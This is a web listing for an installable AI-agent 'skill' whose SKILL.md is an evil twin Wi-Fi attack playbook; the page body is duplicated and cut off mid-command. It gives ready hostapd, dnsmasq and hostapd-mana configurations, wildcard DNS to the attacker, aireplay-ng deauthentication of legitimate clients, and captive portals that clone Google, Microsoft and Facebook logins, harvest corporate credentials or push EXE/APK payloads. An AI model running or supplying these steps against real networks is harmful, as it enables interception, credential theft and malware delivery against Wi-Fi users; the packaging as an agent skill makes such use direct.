offensive-evil-twin

Name: offensive-evil-twin
Author: SnailSploit

2.8kstars447forks

How to install offensive-evil-twin?

snailsploit/claude-red/offensive-evil-twin

$npx -y skills add SnailSploit/Claude-Red --skill offensive-evil-twin

Installs into the current project.

Summary

Evil Twin / KARMA / Mana access point methodology — rogue AP construction with hostapd-mana / wifiphisher / airgeddon, KARMA universal probe response, Mana selective probe response, captive portal phishing, deauth-driven client coercion to attacker AP, MAC randomization defeat vi

Files · 1

View on GitHub

SKILL.md

1	# Evil Twin / KARMA / Mana
2
3	Stand up an AP that looks like (or is more attractive than) the legitimate target. Clients associate, you become their gateway, you intercept everything. The classic "captive portal at the airport" attack pattern, scaled to whatever the engagement requires.
4
5	## Quick Workflow
6
7	1. Discover target ESSID(s) clients are looking for (PNL — Preferred Network List)
8	2. Stand up rogue AP advertising matching ESSID(s)
9	3. (Optional) Deauth clients off legitimate AP to push them toward yours
10	4. Run captive portal / transparent MITM
11	5. Capture creds, deliver payload, or harvest sessions
12
13	---
14
15	## Variants
16
17	\| Variant \| Mechanic \| Use Case \|
18	\|---\|---\|---\|
19	\| Evil Twin \| Same ESSID + BSSID as legit AP \| Open or PSK-known networks (ISP cafe Wi-Fi, public guest) \|
20	\| KARMA \| Respond "yes" to every probe request \| Clients with broad PNLs (most older devices) \|
21	\| Mana \| Respond selectively to probes per-client \| KARMA-aware MAC randomization defenses \|
22	\| Known Beacons \| Beacon a list of likely-known ESSIDs \| Wide-net attraction without seeing probes first \|
23	\| Captive Portal \| Force splash page on association \| Phishing, payload delivery \|
24
25	## Open / PSK-Known Evil Twin
26
27	Use when you know (or have cracked) the PSK.
28
29	```bash
30	# wifiphisher — opinionated automation including portal templates
31	sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd
32
33	# airgeddon (interactive menu, good for one-off)
34	sudo airgeddon
35	# → Evil Twin attacks menu → Captive Portal
36
37	# Manual: hostapd + dnsmasq + iptables redirect
38	cat > /tmp/hostapd.conf <<EOF
39	interface=wlan0
40	driver=nl80211
41	ssid=CorpWiFi
42	hw_mode=g
43	channel=6
44	auth_algs=1
45	wpa=2
46	wpa_passphrase=KnownPSK
47	wpa_key_mgmt=WPA-PSK
48	rsn_pairwise=CCMP
49	EOF
50	sudo hostapd /tmp/hostapd.conf &
51
52	# DHCP/DNS via dnsmasq
53	cat > /tmp/dnsmasq.conf <<EOF
54	interface=wlan0
55	dhcp-range=10.10.10.10,10.10.10.50,12h
56	dhcp-option=3,10.10.10.1
57	dhcp-option=6,10.10.10.1
58	address=/#/10.10.10.1 # wildcard DNS to attacker
59	EOF
60	sudo dnsmasq -C /tmp/dnsmasq.conf -d
61	```
62
63	## KARMA — Universal Probe Response
64
65	```bash
66	# hostapd-mana with KARMA mode enabled (mana_mode=1)
67	cat > /tmp/karma.conf <<EOF
68	interface=wlan0
69	ssid=KARMA
70	hw_mode=g
71	channel=6
72	mana_loud=1
73	mana_macacl=0
74	EOF
75	sudo hostapd-mana /tmp/karma.conf
76	```
77
78	Modern clients with MAC randomization probe with random MACs and a randomized PNL — KARMA's universal-yes response is now triggers on probes the client wouldn't actually associate to. Use Mana for better selectivity.
79
80	## Mana — Selective Per-Client Response
81
82	```bash
83	# hostapd-mana (default mode is mana, not loud)
84	cat > /tmp/mana.conf <<EOF
85	interface=wlan0
86	ssid=Free-WiFi
87	hw_mode=g
88	channel=6
89	mana_mode=1
90	mana_macacl=0
91	mana_outfile=/tmp/mana.log
92	EOF
93	sudo hostapd-mana /tmp/mana.conf
94	```
95
96	Mana tracks MAC → ESSID-probe-list. When that MAC associates, Mana picks one realistic ESSID from its observed probe list and responds consistently. Defeats KARMA-aware client-side mitigations.
97
98	## Known Beacons Attack
99
100	```bash
101	# eaphammer can broadcast a list of likely-known ESSIDs as actual beacons
102	eaphammer --essid-file likely_essids.txt --hostile-portal
103	# likely_essids.txt: airport, cafe, hotel, office defaults from open intel
104	```
105
106	Beacons attract spontaneous association from devices whose PNLs include these names. Useful when you don't see probes (modern devices broadcast fewer probes than they used to).
107
108	## Deauth Coercion
109
110	Push existing clients off legitimate AP to your evil twin:
111
112	```bash
113	# On a different interface (or after stopping airbase-ng)
114	sudo aireplay-ng --deauth 10 -a <legitimate-BSSID> wlan0_mon2
115	```
116
117	Combined with stronger signal (closer position) or higher TX power on your AP, the client roams to you on reconnection.
118
119	Detection trade-off: broadcast deauth is loud; targeted single-client deauth is quieter. PMF (802.11w) blocks unencrypted deauth — see `offensive-deauth-disassoc`.
120
121	## Captive Portal / Credential Capture
122
123	```bash
124	# Portal options in eaphammer / wifiphisher / airgeddon include:
125	# - Generic OAuth-style (Google/MS/Facebook clones)
126	# - Vendor router login pages (matched to nearby AP brand)
127	# - Corporate-themed portal harvesting AD creds
128	# - Update-required prompts delivering EXE/APK payloads
129
130	# Custom: simple Flask+iptables setup
131	iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination 10.10.10.1:8080
132	iptables -t nat -A POSTROUTING -j MAS

People who liked this also viewed

6 picks

Type

offensive-evil-twin

2.8kstars447forks

View on GitHub

How to install offensive-evil-twin?

snailsploit/claude-red/offensive-evil-twin

$npx -y skills add SnailSploit/Claude-Red --skill offensive-evil-twin

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# Evil Twin / KARMA / Mana
2
3	Stand up an AP that looks like (or is more attractive than) the legitimate target. Clients associate, you become their gateway, you intercept everything. The classic "captive portal at the airport" attack pattern, scaled to whatever the engagement requires.
4
5	## Quick Workflow
6
7	1. Discover target ESSID(s) clients are looking for (PNL — Preferred Network List)
8	2. Stand up rogue AP advertising matching ESSID(s)
9	3. (Optional) Deauth clients off legitimate AP to push them toward yours
10	4. Run captive portal / transparent MITM
11	5. Capture creds, deliver payload, or harvest sessions
12
13	---
14
15	## Variants
16
17	\| Variant \| Mechanic \| Use Case \|
18	\|---\|---\|---\|
19	\| Evil Twin \| Same ESSID + BSSID as legit AP \| Open or PSK-known networks (ISP cafe Wi-Fi, public guest) \|
20	\| KARMA \| Respond "yes" to every probe request \| Clients with broad PNLs (most older devices) \|
21	\| Mana \| Respond selectively to probes per-client \| KARMA-aware MAC randomization defenses \|
22	\| Known Beacons \| Beacon a list of likely-known ESSIDs \| Wide-net attraction without seeing probes first \|
23	\| Captive Portal \| Force splash page on association \| Phishing, payload delivery \|
24
25	## Open / PSK-Known Evil Twin
26
27	Use when you know (or have cracked) the PSK.
28
29	```bash
30	# wifiphisher — opinionated automation including portal templates
31	sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd
32
33	# airgeddon (interactive menu, good for one-off)
34	sudo airgeddon
35	# → Evil Twin attacks menu → Captive Portal
36
37	# Manual: hostapd + dnsmasq + iptables redirect
38	cat > /tmp/hostapd.conf <<EOF
39	interface=wlan0
40	driver=nl80211
41	ssid=CorpWiFi
42	hw_mode=g
43	channel=6
44	auth_algs=1
45	wpa=2
46	wpa_passphrase=KnownPSK
47	wpa_key_mgmt=WPA-PSK
48	rsn_pairwise=CCMP
49	EOF
50	sudo hostapd /tmp/hostapd.conf &
51
52	# DHCP/DNS via dnsmasq
53	cat > /tmp/dnsmasq.conf <<EOF
54	interface=wlan0
55	dhcp-range=10.10.10.10,10.10.10.50,12h
56	dhcp-option=3,10.10.10.1
57	dhcp-option=6,10.10.10.1
58	address=/#/10.10.10.1 # wildcard DNS to attacker
59	EOF
60	sudo dnsmasq -C /tmp/dnsmasq.conf -d
61	```
62
63	## KARMA — Universal Probe Response
64
65	```bash
66	# hostapd-mana with KARMA mode enabled (mana_mode=1)
67	cat > /tmp/karma.conf <<EOF
68	interface=wlan0
69	ssid=KARMA
70	hw_mode=g
71	channel=6
72	mana_loud=1
73	mana_macacl=0
74	EOF
75	sudo hostapd-mana /tmp/karma.conf
76	```
77
78	Modern clients with MAC randomization probe with random MACs and a randomized PNL — KARMA's universal-yes response is now triggers on probes the client wouldn't actually associate to. Use Mana for better selectivity.
79
80	## Mana — Selective Per-Client Response
81
82	```bash
83	# hostapd-mana (default mode is mana, not loud)
84	cat > /tmp/mana.conf <<EOF
85	interface=wlan0
86	ssid=Free-WiFi
87	hw_mode=g
88	channel=6
89	mana_mode=1
90	mana_macacl=0
91	mana_outfile=/tmp/mana.log
92	EOF
93	sudo hostapd-mana /tmp/mana.conf
94	```
95
96	Mana tracks MAC → ESSID-probe-list. When that MAC associates, Mana picks one realistic ESSID from its observed probe list and responds consistently. Defeats KARMA-aware client-side mitigations.
97
98	## Known Beacons Attack
99
100	```bash
101	# eaphammer can broadcast a list of likely-known ESSIDs as actual beacons
102	eaphammer --essid-file likely_essids.txt --hostile-portal
103	# likely_essids.txt: airport, cafe, hotel, office defaults from open intel
104	```
105
106	Beacons attract spontaneous association from devices whose PNLs include these names. Useful when you don't see probes (modern devices broadcast fewer probes than they used to).
107
108	## Deauth Coercion
109
110	Push existing clients off legitimate AP to your evil twin:
111
112	```bash
113	# On a different interface (or after stopping airbase-ng)
114	sudo aireplay-ng --deauth 10 -a <legitimate-BSSID> wlan0_mon2
115	```
116
117	Combined with stronger signal (closer position) or higher TX power on your AP, the client roams to you on reconnection.
118
119	Detection trade-off: broadcast deauth is loud; targeted single-client deauth is quieter. PMF (802.11w) blocks unencrypted deauth — see `offensive-deauth-disassoc`.
120
121	## Captive Portal / Credential Capture
122
123	```bash
124	# Portal options in eaphammer / wifiphisher / airgeddon include:
125	# - Generic OAuth-style (Google/MS/Facebook clones)
126	# - Vendor router login pages (matched to nearby AP brand)
127	# - Corporate-themed portal harvesting AD creds
128	# - Update-required prompts delivering EXE/APK payloads
129
130	# Custom: simple Flask+iptables setup
131	iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination 10.10.10.1:8080
132	iptables -t nat -A POSTROUTING -j MAS

People who liked this also viewed

6 picks

Type